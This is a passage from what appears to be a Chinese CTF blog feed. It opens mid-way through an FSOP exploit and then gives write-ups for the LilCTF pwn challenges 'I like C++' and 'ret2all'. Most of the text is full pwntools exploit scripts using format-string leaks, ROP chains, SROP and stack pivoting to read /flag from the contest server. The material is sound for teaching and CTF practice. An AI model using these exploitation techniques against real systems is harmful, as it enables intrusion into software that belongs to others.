<span class="line">    <span class="number">0xc0</span>:[p64(<span class="number">0</span>)],            <span class="comment"># _mode &lt;= 0</span></span>
<span class="line">    <span class="number">0xd8</span>:[p64(IO_wfile_jumps+<span class="number">0x30</span>)],</span>
<span class="line">    </span>
<span class="line">    <span class="number">0x88</span>:[p64(fake_io+<span class="number">0x90</span>),p64(<span class="number">0</span>),p64(<span class="number">1</span>)],   <span class="comment"># bypass lock</span></span>
<span class="line">    </span>
<span class="line">    <span class="number">0xA0</span>:[p64(fake_io-<span class="number">0x10</span>)],         <span class="comment"># bypass check in wfile_seekoff</span></span>
<span class="line">    <span class="number">0x10</span>:[p64(<span class="number">1</span>)],</span>
<span class="line">    <span class="number">0x18</span>:[p64(<span class="number">0</span>)],</span>
<span class="line">    <span class="comment"># (0xB0+0xd8):[p64(fake_io+0xB0+0xd8)], # fake wfile vtable</span></span>
<span class="line">    (<span class="number">0xc8</span>):[p64(fake_io+<span class="number">0xd0</span>-<span class="number">0x18</span>)],   </span>
<span class="line">    (<span class="number">0xd0</span>):[p64(fake_io+<span class="number">0x30</span>)],   <span class="comment"># call entry</span></span>
<span class="line">    &#125;, filler=<span class="string">b&#x27;\x00&#x27;</span></span>
<span class="line">    )</span>
<span class="line"></span>
<span class="line">    add(<span class="number">12</span>, <span class="built_in">bytes</span>(pay)[<span class="number">0</span>:<span class="number">0x68</span>])</span>
<span class="line">    add(<span class="number">13</span>, <span class="built_in">bytes</span>(pay)[<span class="number">0x80</span>:<span class="number">0xe0</span>])</span>
<span class="line"></span>
<span class="line">    sla(<span class="string">&#x27;:&#x27;</span>, <span class="string">&#x27;5&#x27;</span>)</span>
<span class="line">    sla(<span class="string">&#x27;:&#x27;</span>, <span class="built_in">str</span>(<span class="number">0x78</span>))</span>
<span class="line">    sla(<span class="string">&#x27;:&#x27;</span>, p64(<span class="number">0</span>))</span>
<span class="line">    sla(<span class="string">&#x27;:&#x27;</span>, <span class="string">&#x27;5&#x27;</span>)</span>
<span class="line">    sla(<span class="string">&#x27;:&#x27;</span>, <span class="built_in">str</span>(<span class="number">0x78</span>))</span>
<span class="line">    sla(<span class="string">&#x27;:&#x27;</span>, p64(fake_io))</span>
<span class="line"></span>
<span class="line">    <span class="built_in">print</span>(<span class="built_in">hex</span>(libcbase))</span>
<span class="line">    <span class="built_in">print</span>(<span class="built_in">hex</span>(haddr))</span>
<span class="line"></span>
<span class="line"></span>
<span class="line"></span>
<span class="line">pwn()</span>
<span class="line">p.interactive()</span>
</pre></td></tr></table></figure>

<p>改_IO_list_all结束</p>
]]></content>
</entry>
<entry>
<title type="text">Lilctf PWN方向全全全全题解！</title>
<id>https://imi-imiab.com/posts/cnblogs-19044898/</id>
<link rel="alternate" type="text/html" href="https://imi-imiab.com/posts/cnblogs-19044898/"/>
<author><name>imiab</name></author>
<published>2025-08-18T00:18:00.000Z</published>
<updated>2025-08-18T00:19:00.000Z</updated>
<category term="Pwn" scheme="https://imi-imiab.com/categories/Pwn/"/>
<category term="CTF" scheme="https://imi-imiab.com/tags/CTF/"/>
<category term="Pwn" scheme="https://imi-imiab.com/tags/Pwn/"/>
<summary type="text">I like C++ 114514后门选项，里面会设置一个函数指针，其中偏移3的地方为后门函数 里面有一个scanf(&quot;%s&quot;)，裸的栈溢出，还有格式化字符串 条件是拿到堆地址，只要我们输入的地址和它的堆地址一样就能触发 exchange里有个浅拷贝，会free对象并导致leak</summary>
<content type="html" xml:base="https://imi-imiab.com/posts/cnblogs-19044898/"><![CDATA[<h1 id="I-like-C"><a href="https://imi-imiab.com/posts/cnblogs-19044898/#I-like-C" class="headerlink" title="I like C++"></a>I like C++</h1><p><img src="https://imi-imiab.com/images/posts/6cd14d60bdccf68566ca.png" alt="PixPin\_2025-08-18\_08-54-06" loading="lazy" decoding="async"></p>
<p><img src="https://imi-imiab.com/images/posts/863731c21de7b80a611b.png" alt="PixPin\_2025-08-18\_08-54-35" loading="lazy" decoding="async"></p>
<p>114514后门选项，里面会设置一个函数指针，其中偏移3的地方为后门函数</p>
<p>里面有一个scanf(“%s”)，裸的栈溢出，还有格式化字符串</p>
<p><img src="https://imi-imiab.com/images/posts/5b93fa9776cb6ab331c0.png" alt="PixPin\_2025-08-18\_08-55-21" loading="lazy" decoding="async"></p>
<p>条件是拿到堆地址，只要我们输入的地址和它的堆地址一样就能触发</p>
<p>exchange里有个浅拷贝，会free对象并导致leak</p>
<p>最终exp</p>
<figure class="highlight python"><table><tr><td class="code"><pre><span class="line"><span class="keyword">from</span> pwn <span class="keyword">import</span> *</span>
<span class="line">filename = <span class="string">&#x27;./pwn&#x27;</span></span>
<span class="line">libc = ELF(<span class="string">&quot;./libc.so.6&quot;</span>)</span>
<span class="line">host= <span class="string">&#x27;challenge.xinshi.fun&#x27;</span></span>
<span class="line">port= <span class="number">42509</span></span>
<span class="line"></span>
<span class="line">sla = <span class="keyword">lambda</span> x,s : p.sendlineafter(x,s)</span>
<span class="line">sl = <span class="keyword">lambda</span> s : p.sendline(s)</span>
<span class="line">sa = <span class="keyword">lambda</span> x,s : p.sendafter(x,s)</span>
<span class="line">s = <span class="keyword">lambda</span> s : p.send(s)</span>
<span class="line"></span>
<span class="line">e = ELF(filename)</span>
<span class="line">context.log_level=<span class="string">&#x27;debug&#x27;</span></span>
<span class="line">context(arch=e.arch, bits=e.bits, endian=e.endian, os=e.os)</span>
<span class="line"></span>
<span class="line"><span class="keyword">def</span> <span class="title function_">addtype</span>(<span class="params">tp</span>):</span>
<span class="line">    sla(<span class="string">&quot;Enter your choice:&quot;</span>,<span class="string">&quot;1&quot;</span>)</span>
<span class="line">    sla(<span class="string">&quot;Enter item type:&quot;</span>,tp)</span>
<span class="line"></span>
<span class="line"><span class="keyword">def</span> <span class="title function_">additem</span>(<span class="params">tp,name,desc</span>):</span>
<span class="line">    sla(<span class="string">&quot;Enter your choice:&quot;</span>,<span class="string">&quot;2&quot;</span>)</span>
<span class="line">    sla(<span class="string">&quot;Enter item type:&quot;</span>,tp)</span>
<span class="line">    sla(<span class="string">&quot;Enter item name: &quot;</span>,name)</span>
<span class="line">    sla(<span class="string">&quot;Enter item description&quot;</span>,desc)</span>
<span class="line"></span>
<span class="line"><span class="keyword">def</span> <span class="title function_">edit</span>(<span class="params">tp,idx,name,desc</span>):</span>
<span class="line">    sla(<span class="string">&quot;Enter your choice:&quot;</span>,<span class="string">&quot;3&quot;</span>)</span>
<span class="line">    sla(<span class="string">&quot;Enter item type:&quot;</span>,tp)</span>
<span class="line">    sla(<span class="string">&quot;Enter item index: &quot;</span>,<span class="built_in">str</span>(idx))</span>
<span class="line">    sla(<span class="string">&quot;Enter item name: &quot;</span>,name)</span>
<span class="line">    sla(<span class="string">&quot;Enter item description&quot;</span>,desc)</span>
<span class="line"></span>
<span class="line"><span class="keyword">def</span> <span class="title function_">show</span>(<span class="params">tp,idx</span>):</span>
<span class="line">    sla(<span class="string">&quot;Enter your choice:&quot;</span>,<span class="string">&quot;4&quot;</span>)</span>
<span class="line">    sla(<span class="string">&quot;Enter item type:&quot;</span>,tp)</span>
<span class="line">    sla(<span class="string">&quot;Enter item index: &quot;</span>,<span class="built_in">str</span>(idx))</span>
<span class="line"></span>
<span class="line"><span class="keyword">def</span> <span class="title function_">dele</span>(<span class="params">tp,idx</span>):</span>
<span class="line">    sla(<span class="string">&quot;Enter your choice:&quot;</span>,<span class="string">&quot;5&quot;</span>)</span>
<span class="line">    sla(<span class="string">&quot;Enter item type:&quot;</span>,tp)</span>
<span class="line">    sla(<span class="string">&quot;Enter item index: &quot;</span>,<span class="built_in">str</span>(idx))</span>
<span class="line"></span>
<span class="line"><span class="keyword">def</span> <span class="title function_">exchange</span>(<span class="params">tp1,idx,tp2</span>):</span>
<span class="line">    sla(<span class="string">&quot;Enter your choice:&quot;</span>,<span class="string">&quot;6&quot;</span>)</span>
<span class="line">    sla(<span class="string">&quot;Enter item name: &quot;</span>,<span class="string">&quot;testname&quot;</span>)</span>
<span class="line">    sla(<span class="string">&quot;Enter item description&quot;</span>,<span class="string">&quot;testdesc&quot;</span>)</span>
<span class="line">    </span>
<span class="line">    sla(<span class="string">&quot;Enter item type:&quot;</span>,tp1)</span>
<span class="line">    sla(<span class="string">&quot;Enter item index: &quot;</span>,<span class="built_in">str</span>(idx))</span>
<span class="line">    sla(<span class="string">&quot;Enter item type:&quot;</span>,tp2)</span>
<span class="line"></span>
<span class="line"><span class="keyword">def</span> <span class="title function_">exchange1</span>(<span class="params">tp1,idx,tp2</span>):</span>
<span class="line">    sla(<span class="string">&quot;Enter your choice:&quot;</span>,<span class="string">&quot;6&quot;</span>)</span>
<span class="line">    sla(<span class="string">&quot;Enter item name: &quot;</span>,<span class="string">&quot;testname&quot;</span>)</span>
<span class="line">    sla(<span class="string">&quot;Enter item description&quot;</span>,<span class="string">&quot;testdesc&quot;</span>)</span>
<span class="line">    </span>
<span class="line">    sla(<span class="string">&quot;Enter item type:&quot;</span>,tp1)</span>
<span class="line">    sla(<span class="string">&quot;Enter item type:&quot;</span>,tp2)</span>
<span class="line"></span>
<span class="line"><span class="keyword">def</span> <span class="title function_">hack</span>():</span>
<span class="line">    sla(<span class="string">&quot;Enter your choice:&quot;</span>,<span class="string">&quot;0&quot;</span>)</span>
<span class="line"></span>
<span class="line"><span class="keyword">def</span> <span class="title function_">hack1</span>():</span>
<span class="line">    sla(<span class="string">&quot;Enter your choice:&quot;</span>,<span class="string">&quot;114514&quot;</span>)</span>
<span class="line"></span>
<span class="line"><span class="keyword">def</span> <span class="title function_">run</span>(<span class="params">mode, script = <span class="string">&quot;&quot;</span></span>):</span>
<span class="line">    <span class="keyword">if</span> <span class="string">&quot;d&quot;</span> <span class="keyword">in</span> mode:</span>
<span class="line">        p = gdb.debug(filename, script)</span>
<span class="line">    <span class="keyword">elif</span> <span class="string">&quot;l&quot;</span> <span class="keyword">in</span> mode:</span>
<span class="line">        p = process(filename)</span>
<span class="line">    <span class="keyword">elif</span> <span class="string">&quot;r&quot;</span> <span class="keyword">in</span> mode:</span>
<span class="line">        p = remote(host, port)</span>
<span class="line">    <span class="keyword">elif</span> <span class="string">&quot;a&quot;</span> <span class="keyword">in</span> mode:</span>
<span class="line">        p = process(filename)</span>
<span class="line">        gdb.attach(p, script)</span>
<span class="line">    <span class="keyword">return</span> p</span>
<span class="line"></span>
<span class="line"><span class="keyword">def</span> <span class="title function_">getp</span>():</span>
<span class="line">    <span class="keyword">global</span> script</span>
<span class="line">    <span class="keyword">if</span> <span class="built_in">len</span>(sys.argv) == <span class="number">2</span>:</span>
<span class="line">        p = run(sys.argv[<span class="number">1</span>], script)</span>
<span class="line">    <span class="keyword">else</span>:</span>
<span class="line">        p = run(<span class="string">&quot;l&quot;</span>, script)</span>
<span class="line">    <span class="keyword">return</span> p</span>
<span class="line"></span>
<span class="line">script = <span class="string">&#x27;&#x27;&#x27;</span></span>
<span class="line"><span class="string">go</span></span>
<span class="line"><span class="string">&#x27;&#x27;&#x27;</span></span>
<span class="line"></span>
<span class="line"><span class="keyword">def</span> <span class="title function_">pwn</span>():</span>
<span class="line">    <span class="keyword">global</span> p</span>
<span class="line">    p = getp()</span>
<span class="line">    addtype(<span class="string">&quot;type1&quot;</span>)</span>
<span class="line">    additem(<span class="string">&quot;type1&quot;</span>,<span class="string">&quot;b&quot;</span>*<span class="number">0x100</span>,<span class="string">b&quot;a&quot;</span>*<span class="number">0x30</span>)</span>
<span class="line">    addtype(<span class="string">&quot;type2&quot;</span>)</span>
<span class="line">    addtype(<span class="string">&quot;type3&quot;</span>)</span>
<span class="line">    exchange(<span class="string">&quot;type1&quot;</span>,<span class="number">0</span>,<span class="string">&quot;type2&quot;</span>)</span>
<span class="line"></span>
<span class="line">    show(<span class="string">&quot;type1&quot;</span>,<span class="number">0</span>)</span>
<span class="line">    p.recvuntil(<span class="string">&quot;Item name: &quot;</span>)</span>
<span class="line">    heap_addr=u64(p.recv(<span class="number">8</span>))*<span class="number">0x1000</span>+<span class="number">0x400</span></span>
<span class="line">    hack1()</span>
<span class="line">    p.sendlineafter(<span class="string">&quot;いいよ、こ&quot;</span>,<span class="built_in">str</span>(heap_addr))</span>
<span class="line">    hack()</span>
<span class="line">    p.sendlineafter(<span class="string">&quot;Invalid choice. Please try again&quot;</span>,<span class="string">f&quot;%6$p%<span class="subst">&#123;<span class="number">6</span>+<span class="number">9</span>&#125;</span>$p%<span class="subst">&#123;<span class="number">6</span>+<span class="number">0xd</span>&#125;</span>$p%<span class="subst">&#123;<span class="number">6</span>+<span class="number">0x6d</span>&#125;</span>$p&quot;</span>)</span>
<span class="line">    </span>
<span class="line">    p.recvuntil(<span class="string">&quot;0x&quot;</span>)</span>
<span class="line">    stkaddr=<span class="built_in">int</span>(p.recv(<span class="number">12</span>),<span class="number">16</span>)</span>
<span class="line">    p.recvuntil(<span class="string">&quot;0x&quot;</span>)</span>
<span class="line">    canary=<span class="built_in">int</span>(p.recv(<span class="number">16</span>),<span class="number">16</span>)</span>
<span class="line">    p.recvuntil(<span class="string">&quot;0x&quot;</span>)</span>
<span class="line">    elfaddr=<span class="built_in">int</span>(p.recv(<span class="number">12</span>),<span class="number">16</span>)- <span class="number">0xEC7E</span></span>
<span class="line">    p.recvuntil(<span class="string">&quot;0x&quot;</span>)</span>
<span class="line">    libcbase=<span class="built_in">int</span>(p.recv(<span class="number">12</span>),<span class="number">16</span>)-<span class="number">0x2a28b</span></span>
<span class="line">    </span>
<span class="line">    rdi=libcbase+<span class="number">0x000000000010f75b</span></span>
<span class="line">    rsi=libcbase+<span class="number">0x0000000000110a4d</span></span>
<span class="line">    rdx_pop4 = libcbase+<span class="number">0x00000000000b503c</span></span>
<span class="line">    rcx = <span class="number">0x00000000000a877e</span>+libcbase</span>
<span class="line">    rsp = <span class="number">0x000000000003c068</span> +libcbase</span>
<span class="line">    rax=libcbase+<span class="number">0x000dd237</span></span>
<span class="line">    sys_ret = libcbase + <span class="number">0x98FD5</span></span>
<span class="line">    ret=rdi+<span class="number">1</span></span>
<span class="line"></span>
<span class="line">    execve=libcbase+libc.sym[<span class="string">&quot;execveat&quot;</span>]</span>
<span class="line">    saddr = libcbase + libc.sym[<span class="string">&quot;system&quot;</span>]</span>
<span class="line">    waddr = libcbase +libc.sym[<span class="string">&quot;write&quot;</span>]</span>
<span class="line">    sh=libcbase+<span class="number">0x01cb42f</span></span>
<span class="line"></span>
<span class="line">    sleep(<span class="number">0.2</span>)</span>
<span class="line">    payload = p64(canary)*<span class="number">7</span></span>
<span class="line">    payload += flat(rdi, <span class="number">0</span>, rsi, libcbase+libc.bss(<span class="number">0x400</span>), rdx_pop4, <span class="number">0x300</span>, <span class="number">0</span>, <span class="number">0</span>, <span class="number">0</span>, <span class="number">0</span>, rax, <span class="number">0x0</span>, sys_ret, rsp, libcbase+libc.bss(<span class="number">0x420</span>))</span>
<span class="line">    <span class="comment"># payload += p64(rdi)+64(heap_addr&amp;0xfffffffff000)+p64(rsi)+p64(0x1000)+p64(rdx_pop4)+p64(7)*5+p64(rax)+p64(10)+p64(sys_ret)</span></span>
<span class="line">    <span class="comment"># payload += p64(rdi)+p64(0)+p64(rsi)+p64(heap_addr)+p64(rdx_pop4)+p64(0x100)*5+p64(rax)+p64(0)+p64(sys_ret)+p64(heap_addr)</span></span>
<span class="line">    <span class="comment"># +p64(rdx_pop4)+p64(0x00)*5+p64(rdi)+p64(0xfffffff9c)+p64(0)+p64(rsi)+p64(sh)*2+p64(execve)</span></span>
<span class="line">    <span class="comment"># pause()</span></span>
<span class="line">    sl(payload)</span>
<span class="line">    sleep(<span class="number">0.2</span>)</span>
<span class="line">    <span class="comment"># payload = p64(rdi+1)+p64(rdi+1)+p64(rdi)+p64(sh+5)+p64(rsi)+p64(0)+p64(rdx_pop4)+p64(00)+p64(0)*4+p64(rax)+p64(2)+p64(saddr)</span></span>
<span class="line">    <span class="comment"># payload = p64(rdi) + p64(2) + p64(rax) + p64(3) + p64(sys_ret)</span></span>
<span class="line">    payload = <span class="string">b&quot;/flag&quot;</span>.ljust(<span class="number">0x20</span>, <span class="string">b&#x27;\x00&#x27;</span>)</span>
<span class="line">    <span class="comment"># payload = flat(rdi, 0, rsi, 2, rax, 0x21, sys_ret)</span></span>
<span class="line">    <span class="comment"># payload += flat(rdi, 0, rax, 3, sys_ret)</span></span>
<span class="line">    <span class="comment"># payload += flat(rdi, libc_addr+libc.bss(0x400), rsi, 0, rdx_pop4, 0, 0, 0, 0, 0, rax, 0x3b, sys_ret)</span></span>
<span class="line">    payload += flat(rdi, libcbase+libc.bss(<span class="number">0x400</span>), rsi, <span class="number">0</span>, rdx_pop4, <span class="number">0</span>, <span class="number">0</span>, <span class="number">0</span>, <span class="number">0</span>, <span class="number">0</span>, rax, <span class="number">2</span>, sys_ret)</span>
<span class="line">    payload += flat(rdi, <span class="number">3</span>, rsi, libc.bss(<span class="number">0x400</span>)+libcbase, rdx_pop4, <span class="number">0x100</span>, <span class="number">0</span>, <span class="number">0</span>, <span class="number">0</span>, <span class="number">0</span>, rax, <span class="number">0</span>, sys_ret)</span>
<span class="line">    payload += flat(rdi, <span class="number">1</span>, rsi, libc.bss(<span class="number">0x400</span>)+libcbase, rdx_pop4, <span class="number">0x100</span>, <span class="number">0</span>, <span class="number">0</span>, <span class="number">0</span>, <span class="number">0</span>, rax, <span class="number">1</span>, sys_ret)</span>
<span class="line">    s(payload)</span>
<span class="line"></span>
<span class="line">pwn()</span>
<span class="line">p.interactive()</span>
</pre></td></tr></table></figure>

<h1 id="ret2all"><a href="https://imi-imiab.com/posts/cnblogs-19044898/#ret2all" class="headerlink" title="ret2all"></a>ret2all</h1><p>栈溢出，但是要求前0x60个字符是i love you，且当前函数的rbp的返回地址不能更改</p>
<p>虽然不能更改当前函数的，但是能改下一个函数的</p>
<p>但是只能改到rbp</p>
<p>中间有0x10的字节</p>
<p>做栈溢出，缩短栈帧，确保 rbp - 0x60 &gt; rsp</p>
<p>这样读入的时候就会直接修改read的返回地址，从而扩大溢出范围到0x88</p>
<p>在后来的栈迁移中我们必须始终保持这个条件成立</p>
<p>用sub rsp 0x60 … 和pop rbp; ret;来控制栈，在高地址我们会找到一个残留的free</p>
<p>这个高地址free附近有一个pop rbx，设置rbx以后用magic gadget把这个地址修改为syscall; ret;</p>
<p>然后构造两次SROP，分别打出 dup 1 和 write 2 泄露 libc 地址</p>
<p>之后简单的ROP即可</p>
<figure class="highlight python"><table><tr><td class="code"><pre><span class="line"><span class="keyword">from</span> pwn <span class="keyword">import</span> *</span>
<span class="line">filename = <span class="string">&#x27;./pwn&#x27;</span></span>
<span class="line"><span class="comment"># libc = ELF(&quot;./libc.so.6&quot;)</span></span>
<span class="line">host= <span class="string">&#x27;challenge.xinshi.fun&#x27;</span></span>
<span class="line">port= <span class="number">31266</span></span>
<span class="line"></span>
<span class="line">sla = <span class="keyword">lambda</span> x,s : p.sendlineafter(x,s)</span>
<span class="line">sl = <span class="keyword">lambda</span> s : p.sendline(s)</span>
<span class="line">sa = <span class="keyword">lambda</span> x,s : p.sendafter(x,s)</span>
<span class="line">s = <span class="keyword">lambda</span> s : p.send(s)</span>
<span class="line"></span>
<span class="line">e = ELF(filename)</span>
<span class="line">context.log_level=<span class="string">&#x27;debug&#x27;</span></span>
<span class="line">context(arch=e.arch, bits=e.bits, endian=e.endian, os=e.os)</span>
<span class="line"></span>
<span class="line"><span class="keyword">def</span> <span class="title function_">run</span>(<span class="params">mode, script = <span class="string">&quot;&quot;</span></span>):</span>
<span class="line">    <span class="keyword">if</span> <span class="string">&quot;d&quot;</span> <span class="keyword">in</span> mode:</span>
<span class="line">        p = gdb.debug(filename, script)</span>
<span class="line">    <span class="keyword">elif</span> <span class="string">&quot;l&quot;</span> <span class="keyword">in</span> mode:</span>
<span class="line">        p = process(filename)</span>
<span class="line">    <span class="keyword">elif</span> <span class="string">&quot;r&quot;</span> <span class="keyword">in</span> mode:</span>
<span class="line">        p = remote(host, port)</span>
<span class="line">    <span class="keyword">elif</span> <span class="string">&quot;a&quot;</span> <span class="keyword">in</span> mode:</span>
<span class="line">        p = process(filename)</span>
<span class="line">        gdb.attach(p, script)</span>
<span class="line">    <span class="keyword">return</span> p</span>
<span class="line"></span>
<span class="line"><span class="keyword">def</span> <span class="title function_">getp</span>():</span>
<span class="line">    <span class="keyword">global</span> script</span>
<span class="line">    <span class="keyword">if</span> <span class="built_in">len</span>(sys.argv) == <span class="number">2</span>:</span>
<span class="line">        p = run(sys.argv[<span class="number">1</span>], script)</span>
<span class="line">    <span class="keyword">else</span>:</span>
<span class="line">        p = run(<span class="string">&quot;l&quot;</span>, script)</span>
<span class="line">    <span class="keyword">return</span> p</span>
<span class="line"></span>
<span class="line">script = <span class="string">&#x27;&#x27;&#x27;</span></span>
<span class="line"><span class="string">go</span></span>
<span class="line"><span class="string">&#x27;&#x27;&#x27;</span></span>
<span class="line"></span>
<span class="line"><span class="keyword">def</span> <span class="title function_">pwn</span>():</span>
<span class="line">    <span class="keyword">global</span> p</span>
<span class="line">    p = getp()</span>
<span class="line">    p.recvuntil(<span class="string">&quot;RBP:&quot;</span>)</span>
<span class="line">    rbp_key = <span class="built_in">int</span>(p.recvline(keepends=<span class="literal">False</span>), <span class="number">16</span>)</span>
<span class="line">    p.recvuntil(<span class="string">&quot;RET:&quot;</span>)</span>
<span class="line">    pie = <span class="built_in">int</span>(p.recvline(keepends=<span class="literal">False</span>), <span class="number">16</span>) - <span class="number">0x1871</span></span>
<span class="line">    e.address = pie</span>
<span class="line">    ret_key = pie+<span class="number">0x1871</span></span>
<span class="line">    rbp = <span class="number">0x1253</span> + pie</span>
<span class="line">    ret = rbp+<span class="number">1</span></span>
<span class="line">    lr = pie + <span class="number">0x164e</span></span>
<span class="line">    magic = pie + <span class="number">0x1252</span></span>
<span class="line"></span>
<span class="line">    love = <span class="string">b&quot;I love you I feel lonely&quot;</span></span>
<span class="line">    pay1 = love*<span class="number">4</span> + flat(rbp_key, ret_key, rbp_key-<span class="number">0x10</span>, pie+<span class="number">0x182b</span>, rbp_key -<span class="number">0x10</span>)</span>
<span class="line">    s(pay1)</span>
<span class="line">    payload = SigreturnFrame()</span>
<span class="line">    payload.rdi=<span class="number">1</span></span>
<span class="line">    payload.rsi=<span class="number">0</span></span>
<span class="line">    payload.rdx=<span class="number">0</span></span>
<span class="line">    payload.rax=<span class="number">0x20</span></span>
<span class="line">    payload.rsp=rbp_key-<span class="number">0xf8</span></span>
<span class="line">    payload.rbp=rbp_key-<span class="number">0xf8</span></span>
<span class="line">    payload.rip=ret</span>
<span class="line">    sleep(<span class="number">0.1</span>)</span>
<span class="line">    pay2 = flat(<span class="number">0</span>,ret,ret,ret,ret,ret,ret,rbp, rbp_key-<span class="number">0x40</span>, pie+<span class="number">0x182b</span>,<span class="number">0</span>,<span class="number">0</span>,<span class="number">0</span>,<span class="number">0</span>,<span class="number">0</span>,<span class="number">0</span>,<span class="number">0</span>)</span>
<span class="line">    s(pay2)</span>
<span class="line"></span>
<span class="line">    sleep(<span class="number">0.1</span>)</span>
<span class="line">    pay3 = flat(<span class="number">0x11</span>,<span class="number">0x22</span>,<span class="number">0x33</span>,rbp,rbp_key-<span class="number">0x90</span>,pie+<span class="number">0x182b</span>,<span class="number">0x77</span>,<span class="number">0x108</span>, <span class="number">0</span> ,<span class="number">0xaa</span>,rbp_key-<span class="number">0x100</span>,ret,<span class="number">0xdd</span>,<span class="number">0x33</span>, <span class="number">0</span>, <span class="number">0</span>)</span>
<span class="line">    s(pay3)</span>
<span class="line"></span>
<span class="line">    sleep(<span class="number">0.1</span>)</span>
<span class="line">    pay4 = flat(<span class="number">0x31823</span>, ret, ret, ret, rbp, rbp_key-<span class="number">0x100</span>, pie+<span class="number">0x182b</span>, <span class="number">0x7</span> ,<span class="number">0x8</span> , <span class="number">0x9</span>, <span class="number">0xa</span>, <span class="number">0xb</span>, <span class="number">0xc</span>, <span class="number">0</span> , rbp_key-<span class="number">0xf0</span>, rbp_key-<span class="number">0x100</span>)</span>
<span class="line">    s(pay4)</span>
<span class="line"></span>
<span class="line">    sleep(<span class="number">0.1</span>)</span>
<span class="line">    pay5 = flat(<span class="number">1</span>, <span class="number">2</span>, <span class="number">3</span>, <span class="number">4</span>, <span class="number">5</span>, <span class="number">6</span>, <span class="number">7</span>, <span class="number">8</span>, ret, ret, ret, ret, ret) +<span class="string">b&#x27;\xb6&#x27;</span></span>
<span class="line">    s(pay5)</span>
<span class="line"></span>
<span class="line">    sleep(<span class="number">0.1</span>)</span>
<span class="line">    pay6 = flat(<span class="number">1</span>, <span class="number">2</span>, <span class="number">3</span>, <span class="number">4</span>, <span class="number">5</span>, <span class="number">6</span>, <span class="number">7</span>, <span class="number">8</span>, rbp, rbp_key-<span class="number">0x130</span>, pie+<span class="number">0x182b</span>, ret, ret)</span>
<span class="line">    s(pay6)</span>
<span class="line">    </span>
<span class="line">    sleep(<span class="number">0.1</span>)</span>
<span class="line">    pay7 = flat(<span class="number">1</span>, <span class="number">2</span>, <span class="number">3</span>, <span class="number">4</span>, rbp, rbp_key-<span class="number">0xf8</span>+<span class="number">0x3d</span>, magic, rbp, rbp_key-<span class="number">0xe8</span>, pie+<span class="number">0x182f</span>, ret, ret, ret, ret, ret, ret, ret)</span>
<span class="line">    s(pay7)</span>
<span class="line"></span>
<span class="line">    sleep(<span class="number">0.1</span>)</span>
<span class="line">    s(p64(ret)+p64(ret)[<span class="number">0</span>:<span class="number">7</span>])</span>
<span class="line"></span>
<span class="line">    sleep(<span class="number">0.1</span>)</span>
<span class="line">    s(p64(rbp)+p64(rbp_key-<span class="number">0xe0</span>)+p64(pie+<span class="number">0x182b</span>)+p64(ret)+p64(ret)+p64(rbp)+p64(rbp_key-<span class="number">0xd0</span>+<span class="number">0x78</span>)+p64(pie+<span class="number">0x182f</span>)+<span class="built_in">bytes</span>(payload)[<span class="number">0x40</span>::])</span>
<span class="line"></span>
<span class="line">    sleep(<span class="number">0.1</span>)</span>
<span class="line">    s(p64(ret)+p64(ret)[<span class="number">0</span>:<span class="number">7</span>])</span>
<span class="line"></span>
<span class="line">    sleep(<span class="number">0.1</span>)</span>
<span class="line">    s(flat(rbp, rbp_key-<span class="number">0xe0</span>, lr, ret))</span>
<span class="line">    <span class="comment"># pay11 = flat(rbp, rbp_key-0xf8+0x90, pie+0x182f,)</span></span>
<span class="line"></span>
<span class="line">    sleep(<span class="number">0.1</span>)</span>
<span class="line">    s(flat(rbp, rbp_key-<span class="number">0xe0</span>+<span class="number">0x38</span>, pie+<span class="number">0x182b</span>, <span class="number">0xaaaaaaaa</span>, <span class="number">0xbb</span>, <span class="number">0xcc</span>, <span class="number">2</span>, rbp_key-<span class="number">0x120</span>, rbp_key-<span class="number">0x100</span>, <span class="number">0xee</span>, <span class="number">0x100</span>, <span class="number">1</span>, <span class="number">0x1234</span>))</span>
<span class="line">    </span>
<span class="line">    sleep(<span class="number">0.1</span>)</span>
<span class="line">    s(p64(ret)+p64(ret)[<span class="number">0</span>:<span class="number">7</span>])</span>
<span class="line"></span>
<span class="line">    p.recvuntil(<span class="string">&quot;Keep it and...I love you\n&quot;</span>)</span>
<span class="line">    p.recv(<span class="number">0x28</span>)</span>
<span class="line">    libcbase = u64(p.recv(<span class="number">8</span>))-<span class="number">0xdf5d9</span></span>
<span class="line">    <span class="built_in">print</span>(<span class="built_in">hex</span>(libcbase))</span>
<span class="line"></span>
<span class="line">    sys_ret = libcbase + <span class="number">0xDF5D9</span></span>
<span class="line">    rdi = libcbase + <span class="number">0x000000000010f75b</span></span>
<span class="line">    rsi = libcbase + <span class="number">0x0000000000110a4d</span></span>
<span class="line">    rax = libcbase + <span class="number">0x00000000000dd237</span></span>
<span class="line">    rdx_pop4 = libcbase + <span class="number">0x00000000000b503c</span></span>
<span class="line"></span>
<span class="line">    sleep(<span class="number">0.1</span>)</span>
<span class="line">    pay = p64(rdx_pop4)+p64(<span class="number">0x1000</span>)+p64(<span class="number">0</span>)*<span class="number">4</span>+p64(rdi)+p64(<span class="number">0</span>)+p64(rsi)+p64(rbp_key-<span class="number">0xf0</span>)+p64(sys_ret) </span>
<span class="line">    s(pay)  </span>
<span class="line"></span>
<span class="line">    sleep(<span class="number">0.1</span>)</span>
<span class="line">    final = <span class="string">b&quot;/flag\x00\x00\x00&quot;</span> + flat(rdi, rbp_key-<span class="number">0xf0</span>, rsi, <span class="number">0</span>, rdx_pop4, <span class="number">0</span>, <span class="number">0</span>, <span class="number">0</span>, <span class="number">0</span>, <span class="number">0</span>, rax, <span class="number">2</span>, sys_ret)</span>
<span class="line">    final += flat(rax, <span class="number">0x20</span>, rdi, <span class="number">0</span>, sys_ret)</span>
<span class="line">    final += flat(rax, <span class="number">0x21</span>, rdi, <span class="number">3</span>, rsi, <span class="number">0</span>, sys_ret)</span>
<span class="line">    final += flat(rdx_pop4, <span class="number">0x100</span>, <span class="number">0</span>, <span class="number">0</span>, <span class="number">0</span>, <span class="number">0</span>, rsi, rbp_key-<span class="number">0x20</span>, rdi, <span class="number">0</span>, sys_ret)</span>
<span class="line">    final += flat(rax, <span class="number">1</span>, rdi, <span class="number">2</span>, sys_ret)</span>
<span class="line">    pause()</span>
<span class="line">    s(final)</span>
<span class="line">    <span class="comment"># print(hex(pie))</span></span>
<span class="line">    <span class="comment"># print(hex(rbp_key))</span></span>
<span class="line"></span>
<span class="line">    <span class="comment"># for i in range(0, len(bytes(payload)), 8):</span></span>
<span class="line">        <span class="comment"># print(i/8, hex(u64(bytes(payload)[i:i+8])))</span></span>
<span class="line"></span>
<span class="line">pwn()</span>
<span class="line">p.interactive()</span>
</pre></td></tr></table></figure>

